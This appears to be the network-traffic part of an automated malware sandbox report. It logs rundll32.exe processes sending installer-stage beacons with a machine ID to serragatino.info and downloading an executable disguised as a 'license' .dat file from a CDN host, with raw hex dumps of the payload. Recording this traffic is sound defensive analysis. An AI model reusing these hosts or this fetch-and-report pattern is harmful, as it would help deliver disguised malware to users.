Apr 23, 2024 08:39:57.960726023 CEST	1289	IN	Data Raw: b0 e2 fb 49 3b 8a 84 e0 ff a9 b7 41 89 5d 77 ba b1 f7 99 ba 04 8a 0b d1 b4 f9 4f 43 89 9a b9 03 74 08 e9 b6 f4 73 46 39 1d b8 25 b3 e8 35 4e fc 01 6a 01 8b ff 64 50 0b 00 00 53 ad 00 7b 4e c4 74 64 57 74 e5 98 68 4b 00 3b fa d4 ad 81 30 d5 1e 06 Data Ascii: I;A]wOCtsF9%5NjdPS{NtdWthK;0e@;JM}e&`diF;3LU?QukeI)RtvVh$uXnG nud9$0Cp@)j;fGjNj
Apr 23, 2024 08:39:57.960762024 CEST	1289	IN	Data Raw: 53 07 f0 7d 52 56 50 6e a2 fd 89 7f 43 00 eb 95 1e 5b 27 81 1c 5e 03 06 a9 45 67 7f 55 18 6b 5c 53 d6 93 f9 4a cf 16 ad 57 50 57 ff 73 91 1e be 07 85 c0 23 f8 d2 61 7c 41 00 e9 63 63 89 9e a8 ef 80 3c 57 ff 2e e7 8f c4 55 ec 63 05 50 e9 81 11 7f Data Ascii: S}RVPnC['^EgUk\SJWPWs#a\|Acc<W.UcPjUu]C{u3:EO.<(PEi7 XU;xUC8ahhSW4Q@hR(JUPSQS@Pl@+iSa~%<
Apr 23, 2024 08:39:57.960836887 CEST	1289	IN	Data Raw: 1e 3b 76 f3 6f a9 5d e4 0f d7 73 e0 01 00 57 6b ab c7 a6 76 bc 24 0f 83 43 ad 17 1f 38 5d e4 f7 dd 19 04 69 21 bb 5f 6b 04 16 00 00 6a 0e 0c e2 c2 c6 a2 0b 10 5c b8 69 af 17 00 af ac 26 1c 7e b8 c8 ff eb 8f 00 d1 dc 08 8b ed db ea 81 ba ab 5f bc Data Ascii: ;vo]sWkv$C8]i!_kj\i&~_Mbt`)CNM#=cNC?BV<f3uB9Z9X$uu?JJE6+EW@3]K[qD>Fhhpw?
Apr 23, 2024 08:39:57.960911989 CEST	1289	IN	Data Raw: 44 30 12 e8 b3 79 33 00 56 bb 25 d3 15 80 d0 28 00 0b 87 a3 ec 60 71 00 8b a3 58 71 f2 80 80 40 bb 33 e9 e1 04 8b ba 4e c8 f0 84 70 10 d8 1b c0 9e 08 54 42 00 a4 f8 4c 43 00 b0 0e 8b da 90 38 72 53 96 9f 03 05 00 87 c0 0f bf d2 7d 02 8b 7b 6a ab Data Ascii: D0y3V%(`qXq@3NpTBLC8rS}{jugSPkNCEr!@U0(]Z*i4=36g1}uwGGE{A/C3KzME3}Gt;oJ=S:n;5
Apr 23, 2024 08:39:57.961039066 CEST	1289	IN	Data Raw: 10 53 00 e8 8c 01 00 17 2b a6 81 40 ff 7d 68 22 00 00 d5 e0 ce 00 00 b8 6b c6 2c 2e ff 15 f3 7f 55 70 3c 40 f0 25 83 6d 55 18 6f 2e 22 a3 b3 b1 56 70 0a 85 75 6e e9 1f b8 f2 b3 43 22 fc b7 1e ab 03 ac c5 75 58 95 37 f0 80 b0 43 8b 97 de 1c cc 1b Data Ascii: S+@}h"k,.Up<@%mUo."VpunC"uX7CA6GQl~]Htaziufy>% [:9"uDx_N= 5D&c+Af< tJE;O[v)3@W`sd5J0@uo'
Apr 23, 2024 08:39:58.048463106 CEST	1289	IN	Data Raw: 0c 37 82 75 1a 4b 49 4c 08 08 8c cf fd 22 81 ff 24 8d 96 9d 26 bf 3d fb 85 f3 b5 e8 b9 bd a7 1e 28 62 16 17 c2 cb 7e bf 85 45 b5 77 5b 60 60 4e 00 e3 30 f7 9c 7c 85 cb 0d 89 72 36 1b 02 44 87 00 3b 32 08 ba 88 ef 88 8e c4 4d 1c c2 81 08 20 e0 a2 Data Ascii: 7uKIL"$&=(b~Ew[``N0\|r6D;2M UeK;Sf\X,D34thWChxhhZWCh&mDc-@t""9EH=qS@y*u-@S@(%NSDpkkWN!OC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49705	138.199.40.58	80	6380	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 08:39:57.875066996 CEST	71	OUT	GET /license_1.28.763.1.dat HTTP/1.1 Host: 4o985rhikfsof.b-cdn.net
Apr 23, 2024 08:39:57.962842941 CEST	642	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:39:57 GMT Content-Type: application/octet-stream Content-Length: 8483419 Connection: keep-alive Server: BunnyCDN-NY1-885 CDN-PullZone: 1516771 CDN-Uid: b3ddbaad-ad2d-45bc-825d-45b7b05a460f CDN-RequestCountryCode: US Cache-Control: public, max-age=2592000 Last-Modified: Mon, 22 Apr 2024 16:54:29 GMT CDN-StorageServer: NY-267 CDN-FileServer: 795 CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 206 CDN-CachedAt: 04/22/2024 17:59:36 CDN-EdgeStorageId: 885 CDN-Status: 200 CDN-RequestId: 41e5c2fb426304ca47e50086d60149eb CDN-Cache: HIT Accept-Ranges: bytes
Apr 23, 2024 08:39:57.962898016 CEST	1289	IN	Data Raw: 0f f0 d3 77 fd f8 ff 71 28 79 87 fc 63 e1 43 84 1b 31 dd 49 53 6a 30 36 46 38 53 56 c8 8f 69 44 f5 5a 90 00 03 00 00 00 44 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f Data Ascii: wq(ycC1ISj06F8SViDZD@!L!Thgl~rn@!/O:SBRANC%!=OOxdin DOS ^l]kPfPfn1ST#1[5.V`PfRichPfPEL~
Apr 23, 2024 08:39:57.962933064 CEST	1289	IN	Data Raw: ff 00 8a 97 81 8b 7c 31 8d fb 4f 49 17 1a d8 f7 bf ff 7a 43 f7 1d eb 00 30 74 0b 38 95 14 03 47 05 e4 95 c0 89 45 d3 31 bd 83 7d 0c 6a fe 42 97 c5 a4 10 ff 76 58 90 ba fd 50 80 40 00 00 60 44 0b 75 4c 7f 36 58 00 00 c3 d1 c5 4c 8d ba 91 7c ab 3d Data Ascii: \|1OIzC0t8GE1}jBvXP@`DuL6XL\|=Lj6DH%f66,i&}B{TuKMmu1#hO^LrS*\|MKI'&_i3mbA&Di3q-Gj0DGsvTWfGb}AF
Apr 23, 2024 08:39:57.962980032 CEST	1289	IN	Data Raw: b2 4a ff 75 8d 28 52 48 ff 75 33 2b c7 56 3d b7 eb 08 ff 00 05 17 53 4a ff 15 af 43 34 17 95 a7 75 03 ff 30 f1 99 fc 36 b9 53 f2 bb bb 75 0e 29 28 df 8b 68 96 80 61 d8 bb b9 99 c4 8e 7d ce 39 5d 98 74 c5 52 aa e8 e6 02 8a f7 00 60 98 e8 40 00 c1 Data Ascii: Ju(RHu3+V=SJC4u06Su)(ha}9]tR`@(M@5^oS\DO%2SP%/cMj@jK\V,UaOPt<RdWVkFOja)vS2C}d<PW;aVth$sE; s5
Apr 23, 2024 08:39:57.963041067 CEST	1289	IN	Data Raw: f4 10 3c 3d 24 e3 76 fa 22 09 c0 f4 e0 39 d0 f7 4f 0f 46 c7 aa e3 16 f2 20 46 32 70 b3 61 cc 32 ff 3e d8 d1 72 22 e2 7e 37 75 09 8b c7 72 fa 2a 6c 21 e9 cb cc 42 08 ae ff 8a 4d 08 51 02 2d 29 18 14 68 d2 17 68 df eb 03 e1 4f 83 a9 01 98 ea ff ff Data Ascii: <=$v"9OF F2pa2>r"~7ur*l!BMQ-)hhO:VjE;XVV@G;=F;4FWf5lZWDSeDP'Fu@VF9e;D\Gi4c;GE~iFW@Utu
Apr 23, 2024 08:39:57.963107109 CEST	1289	IN	Data Raw: b0 e2 fb 49 3b 8a 84 e0 ff a9 b7 41 89 5d 77 ba b1 f7 99 ba 04 8a 0b d1 b4 f9 4f 43 89 9a b9 03 74 08 e9 b6 f4 73 46 39 1d b8 25 b3 e8 35 4e fc 01 6a 01 8b ff 64 50 0b 00 00 53 ad 00 7b 4e c4 74 64 57 74 e5 98 68 4b 00 3b fa d4 ad 81 30 d5 1e 06 Data Ascii: I;A]wOCtsF9%5NjdPS{NtdWthK;0e@;JM}e&`diF;3LU?QukeI)RtvVh$uXnG nud9$0Cp@)j;fGjNj
Apr 23, 2024 08:39:57.963145971 CEST	1289	IN	Data Raw: 53 07 f0 7d 52 56 50 6e a2 fd 89 7f 43 00 eb 95 1e 5b 27 81 1c 5e 03 06 a9 45 67 7f 55 18 6b 5c 53 d6 93 f9 4a cf 16 ad 57 50 57 ff 73 91 1e be 07 85 c0 23 f8 d2 61 7c 41 00 e9 63 63 89 9e a8 ef 80 3c 57 ff 2e e7 8f c4 55 ec 63 05 50 e9 81 11 7f Data Ascii: S}RVPnC['^EgUk\SJWPWs#a\|Acc<W.UcPjUu]C{u3:EO.<(PEi7 XU;xUC8ahhSW4Q@hR(JUPSQS@Pl@+iSa~%<
Apr 23, 2024 08:39:57.963219881 CEST	1289	IN	Data Raw: 1e 3b 76 f3 6f a9 5d e4 0f d7 73 e0 01 00 57 6b ab c7 a6 76 bc 24 0f 83 43 ad 17 1f 38 5d e4 f7 dd 19 04 69 21 bb 5f 6b 04 16 00 00 6a 0e 0c e2 c2 c6 a2 0b 10 5c b8 69 af 17 00 af ac 26 1c 7e b8 c8 ff eb 8f 00 d1 dc 08 8b ed db ea 81 ba ab 5f bc Data Ascii: ;vo]sWkv$C8]i!_kj\i&~_Mbt`)CNM#=cNC?BV<f3uB9Z9X$uu?JJE6+EW@3]K[qD>Fhhpw?
Apr 23, 2024 08:39:57.963305950 CEST	1289	IN	Data Raw: 44 30 12 e8 b3 79 33 00 56 bb 25 d3 15 80 d0 28 00 0b 87 a3 ec 60 71 00 8b a3 58 71 f2 80 80 40 bb 33 e9 e1 04 8b ba 4e c8 f0 84 70 10 d8 1b c0 9e 08 54 42 00 a4 f8 4c 43 00 b0 0e 8b da 90 38 72 53 96 9f 03 05 00 87 c0 0f bf d2 7d 02 8b 7b 6a ab Data Ascii: D0y3V%(`qXq@3NpTBLC8rS}{jugSPkNCEr!@U0(]Z*i4=36g1}uwGGE{A/C3KzME3}Gt;oJ=S:n;5
Apr 23, 2024 08:39:57.963357925 CEST	1289	IN	Data Raw: 10 53 00 e8 8c 01 00 17 2b a6 81 40 ff 7d 68 22 00 00 d5 e0 ce 00 00 b8 6b c6 2c 2e ff 15 f3 7f 55 70 3c 40 f0 25 83 6d 55 18 6f 2e 22 a3 b3 b1 56 70 0a 85 75 6e e9 1f b8 f2 b3 43 22 fc b7 1e ab 03 ac c5 75 58 95 37 f0 80 b0 43 8b 97 de 1c cc 1b Data Ascii: S+@}h"k,.Up<@%mUo."VpunC"uX7CA6GQl~]Htaziufy>% [:9"uDx_N= 5D&c+Af< tJE;O[v)3@W`sd5J0@uo'
Apr 23, 2024 08:39:58.050545931 CEST	1289	IN	Data Raw: 0c 37 82 75 1a 4b 49 4c 08 08 8c cf fd 22 81 ff 24 8d 96 9d 26 bf 3d fb 85 f3 b5 e8 b9 bd a7 1e 28 62 16 17 c2 cb 7e bf 85 45 b5 77 5b 60 60 4e 00 e3 30 f7 9c 7c 85 cb 0d 89 72 36 1b 02 44 87 00 3b 32 08 ba 88 ef 88 8e c4 4d 1c c2 81 08 20 e0 a2 Data Ascii: 7uKIL"$&=(b~Ew[``N0\|r6D;2M UeK;Sf\X,D34thWChxhhZWCh&mDc-@t""9EH=qS@y*u-@S@(%NSDpkkWN!OC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49706	104.21.24.192	80	6380	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 08:39:59.943677902 CEST	154	OUT	GET /preinstaller/index.php?evt=end_download&v=1.28.763.1&ts=1713854398&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1 Host: serragatino.info
Apr 23, 2024 08:40:00.235538960 CEST	811	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:40:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: _asd=17138544004306772; expires=Wed, 23-Apr-2025 06:40:00 GMT; Max-Age=31536000; path=/; samesite=none; domain=serragatino.info; secure CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Uhl0uu%2BR6FVXPIwndqXJdBdZs%2FhJVv1A3G%2BAHyY7NWkWaSu%2FRFjSDvEWIVf98%2F9c1sFJRD1cm9eyyprhGYJAljTGLiUBPfIsjZ5utczF9TJgzB5ZcK2sRqTxR296dC915j4o"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdc0fed0343f3-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49707	104.21.24.192	80	7348	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 08:40:00.054627895 CEST	147	OUT	GET /preinstaller/index.php?evt=start&v=1.28.763.1&ts=1713854398&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1 Host: serragatino.info
Apr 23, 2024 08:40:00.235775948 CEST	813	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:40:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: _asd=17138544001041285; expires=Wed, 23-Apr-2025 06:40:00 GMT; Max-Age=31536000; path=/; samesite=none; domain=serragatino.info; secure CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BeQdf%2BqTm5%2BD1QgT4FwLFjbDaFbITdYMlOV0r6wvpd6p3%2B19YmznqHVXL6wzLeUGJ2qM5KzyCsmIgimMv5xYPak1jsb4Fn7JI%2FMyVp%2FZAaKPlN%2BQBojRiz0WVN9kI2zoNw03"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdc10a82719aa-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49708	104.21.24.192	80	7348	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 08:40:00.367835999 CEST	156	OUT	GET /preinstaller/index.php?evt=start_download&v=1.28.763.1&ts=1713854399&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1 Host: serragatino.info
Apr 23, 2024 08:40:00.624264002 CEST	807	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:40:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: _asd=17138544007991637; expires=Wed, 23-Apr-2025 06:40:00 GMT; Max-Age=31536000; path=/; samesite=none; domain=serragatino.info; secure CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yeqHLb0T8sDL0Jfej3iFWtu70oLHU5aOIecRjt%2Fc85oBbAOvxIugtcsXU2obH6Eg%2FNmur0K0PPN2rn8m6vieh7BlZek8I9SzKcPpsdnkfK56Ec0fFBm5zpM24D%2FV7guR6gbS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdc129dc442a7-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49709	104.21.24.192	80	6380	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 08:40:00.435426950 CEST	155	OUT	GET /preinstaller/index.php?evt=start_install&v=1.28.763.1&ts=1713854399&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1 Host: serragatino.info
Apr 23, 2024 08:40:00.687311888 CEST	806	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:40:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: _asd=17138544007514316; expires=Wed, 23-Apr-2025 06:40:00 GMT; Max-Age=31536000; path=/; samesite=none; domain=serragatino.info; secure CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0LcBcJAHIvossK3AoDT2B3utNY9jtP%2FFNX1CDK6la%2BVoFQ2jkVMvQpQLfd9Jwjpxy4si3DZY7MuVqW7MOT885olx18%2FGelSBV%2FiPzVh%2BwuENibmQ6nR2OOP200XPazio8wxN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdc130dd44267-EWR alt-svc: h3=":443"; ma=86400
Apr 23, 2024 08:40:00.688534021 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49710	138.199.40.58	80	7348	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 08:40:00.722167969 CEST	71	OUT	GET /license_1.28.763.1.dat HTTP/1.1 Host: 4o985rhikfsof.b-cdn.net
Apr 23, 2024 08:40:00.811408043 CEST	642	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:40:00 GMT Content-Type: application/octet-stream Content-Length: 8483419 Connection: keep-alive Server: BunnyCDN-NY1-885 CDN-PullZone: 1516771 CDN-Uid: b3ddbaad-ad2d-45bc-825d-45b7b05a460f CDN-RequestCountryCode: US Cache-Control: public, max-age=2592000 Last-Modified: Mon, 22 Apr 2024 16:54:29 GMT CDN-StorageServer: NY-267 CDN-FileServer: 795 CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 206 CDN-CachedAt: 04/22/2024 17:59:36 CDN-EdgeStorageId: 885 CDN-Status: 200 CDN-RequestId: 120a126c7f21e834b18581dd64e0cd09 CDN-Cache: HIT Accept-Ranges: bytes
Apr 23, 2024 08:40:00.811516047 CEST	1289	IN	Data Raw: 0f f0 d3 77 fd f8 ff 71 28 79 87 fc 63 e1 43 84 1b 31 dd 49 53 6a 30 36 46 38 53 56 c8 8f 69 44 f5 5a 90 00 03 00 00 00 44 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f Data Ascii: wq(ycC1ISj06F8SViDZD@!L!Thgl~rn@!/O:SBRANC%!=OOxdin DOS ^l]kPfPfn1ST#1[5.V`PfRichPfPEL~
Apr 23, 2024 08:40:00.811589003 CEST	1289	IN	Data Raw: ff 00 8a 97 81 8b 7c 31 8d fb 4f 49 17 1a d8 f7 bf ff 7a 43 f7 1d eb 00 30 74 0b 38 95 14 03 47 05 e4 95 c0 89 45 d3 31 bd 83 7d 0c 6a fe 42 97 c5 a4 10 ff 76 58 90 ba fd 50 80 40 00 00 60 44 0b 75 4c 7f 36 58 00 00 c3 d1 c5 4c 8d ba 91 7c ab 3d Data Ascii: \|1OIzC0t8GE1}jBvXP@`DuL6XL\|=Lj6DH%f66,i&}B{TuKMmu1#hO^LrS*\|MKI'&_i3mbA&Di3q-Gj0DGsvTWfGb}AF
Apr 23, 2024 08:40:00.811635017 CEST	1289	IN	Data Raw: b2 4a ff 75 8d 28 52 48 ff 75 33 2b c7 56 3d b7 eb 08 ff 00 05 17 53 4a ff 15 af 43 34 17 95 a7 75 03 ff 30 f1 99 fc 36 b9 53 f2 bb bb 75 0e 29 28 df 8b 68 96 80 61 d8 bb b9 99 c4 8e 7d ce 39 5d 98 74 c5 52 aa e8 e6 02 8a f7 00 60 98 e8 40 00 c1 Data Ascii: Ju(RHu3+V=SJC4u06Su)(ha}9]tR`@(M@5^oS\DO%2SP%/cMj@jK\V,UaOPt<RdWVkFOja)vS2C}d<PW;aVth$sE; s5
Apr 23, 2024 08:40:00.811696053 CEST	1289	IN	Data Raw: f4 10 3c 3d 24 e3 76 fa 22 09 c0 f4 e0 39 d0 f7 4f 0f 46 c7 aa e3 16 f2 20 46 32 70 b3 61 cc 32 ff 3e d8 d1 72 22 e2 7e 37 75 09 8b c7 72 fa 2a 6c 21 e9 cb cc 42 08 ae ff 8a 4d 08 51 02 2d 29 18 14 68 d2 17 68 df eb 03 e1 4f 83 a9 01 98 ea ff ff Data Ascii: <=$v"9OF F2pa2>r"~7ur*l!BMQ-)hhO:VjE;XVV@G;=F;4FWf5lZWDSeDP'Fu@VF9e;D\Gi4c;GE~iFW@Utu
Apr 23, 2024 08:40:00.811753035 CEST	1289	IN	Data Raw: b0 e2 fb 49 3b 8a 84 e0 ff a9 b7 41 89 5d 77 ba b1 f7 99 ba 04 8a 0b d1 b4 f9 4f 43 89 9a b9 03 74 08 e9 b6 f4 73 46 39 1d b8 25 b3 e8 35 4e fc 01 6a 01 8b ff 64 50 0b 00 00 53 ad 00 7b 4e c4 74 64 57 74 e5 98 68 4b 00 3b fa d4 ad 81 30 d5 1e 06 Data Ascii: I;A]wOCtsF9%5NjdPS{NtdWthK;0e@;JM}e&`diF;3LU?QukeI)RtvVh$uXnG nud9$0Cp@)j;fGjNj
Apr 23, 2024 08:40:00.811943054 CEST	1289	IN	Data Raw: 53 07 f0 7d 52 56 50 6e a2 fd 89 7f 43 00 eb 95 1e 5b 27 81 1c 5e 03 06 a9 45 67 7f 55 18 6b 5c 53 d6 93 f9 4a cf 16 ad 57 50 57 ff 73 91 1e be 07 85 c0 23 f8 d2 61 7c 41 00 e9 63 63 89 9e a8 ef 80 3c 57 ff 2e e7 8f c4 55 ec 63 05 50 e9 81 11 7f Data Ascii: S}RVPnC['^EgUk\SJWPWs#a\|Acc<W.UcPjUu]C{u3:EO.<(PEi7 XU;xUC8ahhSW4Q@hR(JUPSQS@Pl@+iSa~%<
Apr 23, 2024 08:40:00.812014103 CEST	1289	IN	Data Raw: 1e 3b 76 f3 6f a9 5d e4 0f d7 73 e0 01 00 57 6b ab c7 a6 76 bc 24 0f 83 43 ad 17 1f 38 5d e4 f7 dd 19 04 69 21 bb 5f 6b 04 16 00 00 6a 0e 0c e2 c2 c6 a2 0b 10 5c b8 69 af 17 00 af ac 26 1c 7e b8 c8 ff eb 8f 00 d1 dc 08 8b ed db ea 81 ba ab 5f bc Data Ascii: ;vo]sWkv$C8]i!_kj\i&~_Mbt`)CNM#=cNC?BV<f3uB9Z9X$uu?JJE6+EW@3]K[qD>Fhhpw?
Apr 23, 2024 08:40:00.812067986 CEST	1289	IN	Data Raw: 44 30 12 e8 b3 79 33 00 56 bb 25 d3 15 80 d0 28 00 0b 87 a3 ec 60 71 00 8b a3 58 71 f2 80 80 40 bb 33 e9 e1 04 8b ba 4e c8 f0 84 70 10 d8 1b c0 9e 08 54 42 00 a4 f8 4c 43 00 b0 0e 8b da 90 38 72 53 96 9f 03 05 00 87 c0 0f bf d2 7d 02 8b 7b 6a ab Data Ascii: D0y3V%(`qXq@3NpTBLC8rS}{jugSPkNCEr!@U0(]Z*i4=36g1}uwGGE{A/C3KzME3}Gt;oJ=S:n;5
Apr 23, 2024 08:40:00.812155962 CEST	1289	IN	Data Raw: 10 53 00 e8 8c 01 00 17 2b a6 81 40 ff 7d 68 22 00 00 d5 e0 ce 00 00 b8 6b c6 2c 2e ff 15 f3 7f 55 70 3c 40 f0 25 83 6d 55 18 6f 2e 22 a3 b3 b1 56 70 0a 85 75 6e e9 1f b8 f2 b3 43 22 fc b7 1e ab 03 ac c5 75 58 95 37 f0 80 b0 43 8b 97 de 1c cc 1b Data Ascii: S+@}h"k,.Up<@%mUo."VpunC"uX7CA6GQl~]Htaziufy>% [:9"uDx_N= 5D&c+Af< tJE;O[v)3@W`sd5J0@uo'
Apr 23, 2024 08:40:00.898878098 CEST	1289	IN	Data Raw: 0c 37 82 75 1a 4b 49 4c 08 08 8c cf fd 22 81 ff 24 8d 96 9d 26 bf 3d fb 85 f3 b5 e8 b9 bd a7 1e 28 62 16 17 c2 cb 7e bf 85 45 b5 77 5b 60 60 4e 00 e3 30 f7 9c 7c 85 cb 0d 89 72 36 1b 02 44 87 00 3b 32 08 ba 88 ef 88 8e c4 4d 1c c2 81 08 20 e0 a2 Data Ascii: 7uKIL"$&=(b~Ew[``N0\|r6D;2M UeK;Sf\X,D34thWChxhhZWCh&mDc-@t""9EH=qS@y*u-@S@(%NSDpkkWN!OC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49711	104.21.24.192	80	4296	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 08:40:00.858958960 CEST	154	OUT	GET /preinstaller/index.php?evt=end_download&v=1.28.763.1&ts=1713854399&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1 Host: serragatino.info
Apr 23, 2024 08:40:01.109977961 CEST	809	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:40:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: _asd=17138544015719078; expires=Wed, 23-Apr-2025 06:40:01 GMT; Max-Age=31536000; path=/; samesite=none; domain=serragatino.info; secure CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e5FnngpDz68F7HlatwxbB0e61uP4inv7Qy%2BUCTy4oGpHqm6sL909dOZQK2tUqFr9dLAizyRDEjdlDq46YFiyKPYRGmiYOSkwJx%2FKNpm31TjZX%2B6PZ0UvMLNl%2BVRAS7Bx0kAW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdc15aa7d18cc-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49712	104.21.24.192	80	4296	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 08:40:01.309573889 CEST	155	OUT	GET /preinstaller/index.php?evt=start_install&v=1.28.763.1&ts=1713854400&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1 Host: serragatino.info
Apr 23, 2024 08:40:01.558079958 CEST	813	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:40:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: _asd=17138544018483922; expires=Wed, 23-Apr-2025 06:40:01 GMT; Max-Age=31536000; path=/; samesite=none; domain=serragatino.info; secure CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wPLgWPhwdAtdcbzEFDJvVbMM%2B3lSy8TG30sVSLQZzGO%2BtOSVSYlg7P8eYSR30XTR4BS%2FZxP%2BUDkXH6uMLfwtfCJpA6I0Z%2FpvJcUz%2FhqOzfASI4RuWCtUlT6KzqfLpLjsxnJ7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdc187b384285-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49714	104.21.24.192	80	7348	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 08:40:02.588254929 CEST	154	OUT	GET /preinstaller/index.php?evt=end_download&v=1.28.763.1&ts=1713854401&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1 Host: serragatino.info
